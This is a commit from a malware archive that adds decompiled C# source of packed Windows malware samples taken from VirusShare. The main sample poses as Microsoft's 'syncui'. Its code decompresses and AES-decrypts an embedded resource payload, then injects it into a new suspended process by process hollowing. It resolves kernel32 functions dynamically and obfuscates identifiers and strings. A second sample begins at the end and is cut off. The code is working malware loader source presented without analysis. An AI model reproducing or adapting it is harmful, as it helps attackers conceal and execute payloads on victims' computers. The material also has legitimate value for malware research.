auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,14 @@
// Decompiled with JetBrains decompiler
// Type: +
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[SuppressIldasm]
[StructLayout(LayoutKind.Explicit, Size = 182, Pack = 1)]
private struct
{
}
@@ -0,0 +1,79 @@
// Decompiled with JetBrains decompiler
// Type: -
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
[SuppressIldasm]
[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
internal sealed class \u002D
{
internal static \u002D.\u002A \u0040;
internal static byte[] \u0040;
internal static string[] \u0040;
private static string \u0040([In] int obj0, [In] int obj1, [In] int obj2)
{
if (false)
;
string str = Encoding.Default.GetString(\u002D.\u0040, obj1, obj2);
\u002D.\u0040[obj0] = str;
return str;
}
public static string \u0040()
{
if (false)
;
return \u002D.\u0040[0] ?? \u002D.\u0040(0, 0, 27);
}
static \u002D()
{
if (false)
;
\u002D.\u0040 = new string[1];
\u002D.\u0040 = new byte[27]
{
(byte) 242,
(byte) 249,
(byte) 237,
(byte) 225,
(byte) 240,
(byte) 237,
(byte) 169,
(byte) 214,
(byte) 251,
(byte) 231,
(byte) 251,
(byte) 239,
byte.MaxValue,
(byte) 248,
(byte) 230,
(byte) 235,
(byte) 226,
(byte) 190,
(byte) 193,
(byte) 247,
(byte) 230,
(byte) 251,
(byte) 226,
(byte) 228,
(byte) 250,
(byte) 253,
(byte) 232
};
for (int index = 0; index < \u002D.\u0040.Length; ++index)
\u002D.\u0040[index] = (byte) ((int) \u002D.\u0040[index] ^ index ^ 319987073);
}
[SuppressIldasm]
[StructLayout(LayoutKind.Explicit, Size = 27, Pack = 1)]
private struct \u002A
{
}
}
@@ -0,0 +1,63 @@
// Decompiled with JetBrains decompiler
// Type: 0
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[SuppressIldasm]
internal sealed class \u0030 : \u007C
{
private \u0030.\u003F \u0025;
private \u0030.\u00AC \u005E;
private \u0030.\u003A \u0026;
private \u0030.\u003B \u002A;
public \u0030()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
\u0026.\u0040 = (\u007C) new \u003D();
this.\u0025 = (\u0030.\u003F) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003F));
this.\u005E = (\u0030.\u00AC) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u00AC));
this.\u0026 = (\u0030.\u003A) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003A));
this.\u002A = (\u0030.\u003B) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u0030.\u003B));
}
public override object \u0040(params object[] _param1)
{
if (false)
;
byte[] destination = new byte[0];
try
{
IntPtr num = this.\u0025(IntPtr.Zero, (IntPtr) (int) _param1[0], (IntPtr) 4);
IntPtr source = this.\u0026(this.\u005E(IntPtr.Zero, num));
int length = this.\u002A(IntPtr.Zero, num);
destination = new byte[length];
Marshal.Copy(source, destination, 0, length);
}
catch
{
return (object) destination;
}
return (object) destination;
}
[SuppressIldasm]
private delegate IntPtr \u00AC([In] IntPtr obj0, [In] IntPtr obj1);
[SuppressIldasm]
private delegate IntPtr \u003F([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2);
[SuppressIldasm]
private delegate int \u003B([In] IntPtr obj0, [In] IntPtr obj1);
[SuppressIldasm]
private delegate IntPtr \u003A([In] IntPtr obj0);
}
@@ -0,0 +1,43 @@
// Decompiled with JetBrains decompiler
// Type: 1
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Diagnostics;
using System.Runtime.CompilerServices;
[SuppressIldasm]
internal sealed class \u0031 : \u007C
{
public \u0031()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
public override object \u0040(params object[] _param1)
{
if (false)
;
\u0026.\u0040 = (\u007C) new \u0030();
byte[] numArray1 = (byte[]) \u0026.\u0040.\u0040((object) 100);
byte[] numArray2 = (byte[]) \u0026.\u0040.\u0040((object) 101);
if (numArray1.Length <= 0 || numArray2.Length <= 0)
return (object) null;
\u0026.\u0040 = (\u007C) new \u002B();
byte[] numArray3 = (byte[]) \u0026.\u0040.\u0040((object) numArray2, (object) numArray1);
if (numArray3.Length <= 0)
return (object) null;
if (_param1.Length <= 0)
{
_param1 = new object[1];
_param1[0] = (object) new string[1];
}
\u0026.\u0040 = (\u007C) new \u005E();
\u0026.\u0040.\u0040((object) numArray3, (object) (string[]) _param1[0], (object) Process.GetCurrentProcess().MainModule.FileName);
return (object) null;
}
}
@@ -0,0 +1,42 @@
// Decompiled with JetBrains decompiler
// Type: 2
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.IO;
using System.IO.Compression;
using System.Runtime.CompilerServices;
[SuppressIldasm]
internal sealed class \u0032 : \u007C
{
public \u0032()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
public override object \u0040(params object[] _param1)
{
if (false)
;
MemoryStream memoryStream1 = new MemoryStream((byte[]) _param1[0]);
MemoryStream memoryStream2 = new MemoryStream();
byte[] buffer = new byte[1024];
using (DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress, true))
{
while (true)
{
int count = deflateStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream2.Write(buffer, 0, count);
else
break;
}
}
return (object) memoryStream2.ToArray();
}
}
@@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: 3
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
[SuppressIldasm]
internal sealed class \u0033 : \u007C
{
public \u0033()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
public override object \u0040(params object[] _param1)
{
if (false)
;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes((string) _param1[1], new byte[8]);
return (object) new RijndaelManaged().CreateDecryptor(rfc2898DeriveBytes.GetBytes(32), rfc2898DeriveBytes.GetBytes(16)).TransformFinalBlock((byte[]) _param1[0], 0, ((byte[]) _param1[0]).Length);
}
}
@@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: =
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[SuppressIldasm]
internal sealed class \u003D : \u007C
{
public \u003D()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
public override object \u0040(params object[] _param1)
{
if (false)
;
return (object) Marshal.GetDelegateForFunctionPointer(\u003D.\u000E6(\u003D.\u0008\u000Ad\u0016((string) _param1[0]), (string) _param1[1]), (Type) _param1[2]);
}
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
private static extern IntPtr \u0008\u000Ad\u0016([In] string obj0);
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
private static extern IntPtr \u000E6([In] IntPtr obj0, [In] string obj1);
}
@@ -0,0 +1,63 @@
// Decompiled with JetBrains decompiler
// Type: @
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[CompilerGenerated]
[DebuggerNonUserCode]
[SuppressIldasm]
internal sealed class \u0040
{
private static ResourceManager \u0040;
private static CultureInfo \u003A;
internal \u0040()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
[SpecialName]
internal static ResourceManager \u0040()
{
if (false)
;
// ISSUE: reference to a compiler-generated field
if (object.ReferenceEquals((object) \u0040.\u0040, (object) null))
{
// ISSUE: reference to a compiler-generated field
\u0040.\u0040 = new ResourceManager(\u002D.\u0040(), typeof (\u0040).Assembly);
}
// ISSUE: reference to a compiler-generated field
return \u0040.\u0040;
}
[SpecialName]
internal static CultureInfo \u003A()
{
if (false)
;
// ISSUE: reference to a compiler-generated field
return \u0040.\u003A;
}
[SpecialName]
internal static void \u0040([In] CultureInfo obj0)
{
if (false)
;
// ISSUE: reference to a compiler-generated field
\u0040.\u003A = obj0;
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,19 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: Guid("3c0f2080-510a-4834-a1b6-c4dd6b4c4bff")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyProduct("syncui")]
[assembly: AssemblyTitle("syncui")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyDescription("")]
[assembly: Discardable]
[assembly: SuppressIldasm]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
@@ -0,0 +1,57 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{58A6613A-7D9C-42DC-ADC8-D5C61776676D}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>syncui</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CModule_003E.cs" />
<Compile Include="-.cs" />
<Compile Include="_0026.cs" />
<Compile Include="^.cs" />
<Compile Include="_007C.cs" />
<Compile Include="3.cs" />
<Compile Include="2.cs" />
<Compile Include="1.cs" />
<Compile Include="0.cs" />
<Compile Include="+.cs" />
<Compile Include="=.cs" />
<Compile Include="@.cs" />
<Compile Include="n(EWZ_0009\7_0017[_000C\7.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include=".resx" />
<EmbeddedResource Include="@.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syncui", "Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.csproj", "{58A6613A-7D9C-42DC-ADC8-D5C61776676D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{58A6613A-7D9C-42DC-ADC8-D5C61776676D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,142 @@
// Decompiled with JetBrains decompiler
// Type: ^
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[SuppressIldasm]
internal sealed class \u005E : \u007C
{
private const uint \u0040 = 65543;
private const uint \u003A = 4;
private const uint \u003B = 64;
private const uint \u003F = 4096;
private const uint \u00AC = 8192;
private \u005E.\u003C \u007C;
private \u005E.\u003E \u002F;
private \u005E.\u0025 \u003C;
private \u005E.\u00A3 \u003E;
private \u005E.\u0021 \u00A3;
private \u005E.\u0024 \u0024;
private \u005E.\u002F \u0021;
public \u005E()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
\u0026.\u0040 = (\u007C) new \u003D();
this.\u007C = (\u005E.\u003C) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u003C));
this.\u002F = (\u005E.\u003E) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u003E));
this.\u003C = (\u005E.\u0025) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0025));
this.\u003E = (\u005E.\u00A3) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u00A3));
this.\u00A3 = (\u005E.\u0021) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0021));
this.\u0024 = (\u005E.\u0024) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u0024));
this.\u0021 = (\u005E.\u002F) \u0026.\u0040.\u0040((object) .(), (object) .(), (object) typeof (\u005E.\u002F));
}
public override unsafe object \u0040(params object[] _param1)
{
if (false)
;
byte[] dst1 = new byte[64];
byte[] dst2 = new byte[248];
byte[] dst3 = new byte[40];
byte[] numArray1 = new byte[716];
int[] numArray2 = new int[4];
fixed (byte* numPtr = &dst1[0])
;
fixed (byte* numPtr = &dst2[0])
;
fixed (byte* numPtr = &dst3[0])
;
fixed (byte* numPtr = &numArray1[0])
;
string str = string.Join(Convert.ToChar(32).ToString(), (string[]) _param1[1]);
// ISSUE: fixed variable is out of scope
*(int*) numPtr = 65543;
Buffer.BlockCopy((Array) _param1[0], 0, (Array) dst1, 0, dst1.Length);
// ISSUE: fixed variable is out of scope
int srcOffset = *(int*) (numPtr + 60);
Buffer.BlockCopy((Array) _param1[0], srcOffset, (Array) dst2, 0, dst2.Length);
// ISSUE: fixed variable is out of scope
// ISSUE: fixed variable is out of scope
if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117)
return (object) null;
// ISSUE: fixed variable is out of scope
int num1 = *(int*) (numPtr + 52);
if (!this.\u007C((string) _param1[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2))
return (object) null;
int num2 = (int) this.\u003C((IntPtr) numArray2[0], (IntPtr) num1);
// ISSUE: fixed variable is out of scope
if (this.\u002F((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero)
base.\u0040(_param1);
fixed (byte* numPtr1 = &((byte[]) _param1[0])[0])
{
// ISSUE: fixed variable is out of scope
int num3 = this.\u003E((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr1, *(uint*) (numPtr + 84), IntPtr.Zero);
// ISSUE: fixed variable is out of scope
for (ushort index = 0; (int) index < (int) *(ushort*) (numPtr + 6); ++index)
{
Buffer.BlockCopy((Array) _param1[0], srcOffset + dst2.Length + dst3.Length * (int) index, (Array) dst3, 0, dst3.Length);
// ISSUE: fixed variable is out of scope
fixed (byte* numPtr2 = &((byte[]) _param1[0])[(IntPtr) *(uint*) (numPtr + 20)])
{
// ISSUE: fixed variable is out of scope
// ISSUE: fixed variable is out of scope
int num4 = this.\u003E((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr2, *(uint*) (numPtr + 16), IntPtr.Zero);
}
}
// ISSUE: fixed variable is out of scope
int num5 = this.\u00A3((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
fixed (byte* numPtr3 = &BitConverter.GetBytes(num1)[0])
{
// ISSUE: fixed variable is out of scope
int num6 = this.\u003E((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr3, 4U, IntPtr.Zero);
}
// ISSUE: fixed variable is out of scope
// ISSUE: fixed variable is out of scope
*(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40);
// ISSUE: fixed variable is out of scope
int num7 = this.\u0024((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
int num8 = (int) this.\u0021((IntPtr) numArray2[1], IntPtr.Zero);
return (object) null;
}
}
[SuppressIldasm]
private delegate uint \u0025([In] IntPtr obj0, [In] IntPtr obj1);
[SuppressIldasm]
private delegate int \u0021([In] IntPtr obj0, [In] IntPtr obj1);
[SuppressIldasm]
private delegate int \u0024([In] IntPtr obj0, [In] IntPtr obj1);
[SuppressIldasm]
private delegate int \u00A3([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2, [In] uint obj3, [In] IntPtr obj4);
[SuppressIldasm]
private delegate IntPtr \u003E([In] IntPtr obj0, [In] IntPtr obj1, [In] uint obj2, [In] uint obj3, [In] uint obj4);
[SuppressIldasm]
private delegate bool \u003C(
[In] string obj0,
[In] string obj1,
[In] IntPtr obj2,
[In] IntPtr obj3,
[In] bool obj4,
[In] uint obj5,
[In] IntPtr obj6,
[In] string obj7,
[In] byte[] obj8,
[In] int[] obj9);
[SuppressIldasm]
private delegate uint \u002F([In] IntPtr obj0, [In] IntPtr obj1);
}
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: &
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[SuppressIldasm]
internal static class \u0026
{
public static \u007C \u0040;
[STAThread]
private static void \u0040([In] string[] obj0)
{
if (false)
;
\u0026.\u0040 = (\u007C) new \u0031();
\u0026.\u0040.\u0040((object[]) obj0);
}
}
@@ -0,0 +1,12 @@
// Decompiled with JetBrains decompiler
// Type: <Module>
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Runtime.CompilerServices;
[SuppressIldasm]
internal class \u003CModule\u003E
{
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: |
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using System.Runtime.CompilerServices;
[SuppressIldasm]
internal class \u007C
{
public \u007C()
{
if (false)
;
// ISSUE: explicit constructor call
base.\u002Ector();
}
public virtual object \u0040(params object[] _param1)
{
if (false)
;
return (object) null;
}
}
@@ -0,0 +1,23 @@
// Decompiled with JetBrains decompiler
// Type: n(EWZ ..7[ .7
// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
using n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C;
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C
{
[SuppressIldasm]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
[CompilerGenerated]
internal sealed class \u0037 : ApplicationSettingsBase
{
private static \u0037 \u0004\u001E\u0020 = (\u0037) SettingsBase.Synchronized((SettingsBase) new \u0037());
public static \u0037 \u005C9\u0024 => \u0037.\u0004\u001E\u0020;
}
}
@@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("SchedulerService")]
[assembly: AssemblyFileVersion("1.0.0.2239")]
[assembly: Guid("805f3772-5090-4e96-a4f1-192435ba4bcc")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("Copyright © 2008")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTitle("SchedulerService")]
[assembly: AssemblyVersion("1.0.0.2239")]
@@ -0,0 +1,48 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C665E82A-FA12-4838-BFD6-0AC0D2688440}</ProjectGuid>
<OutputType>WinExe</OutputType>
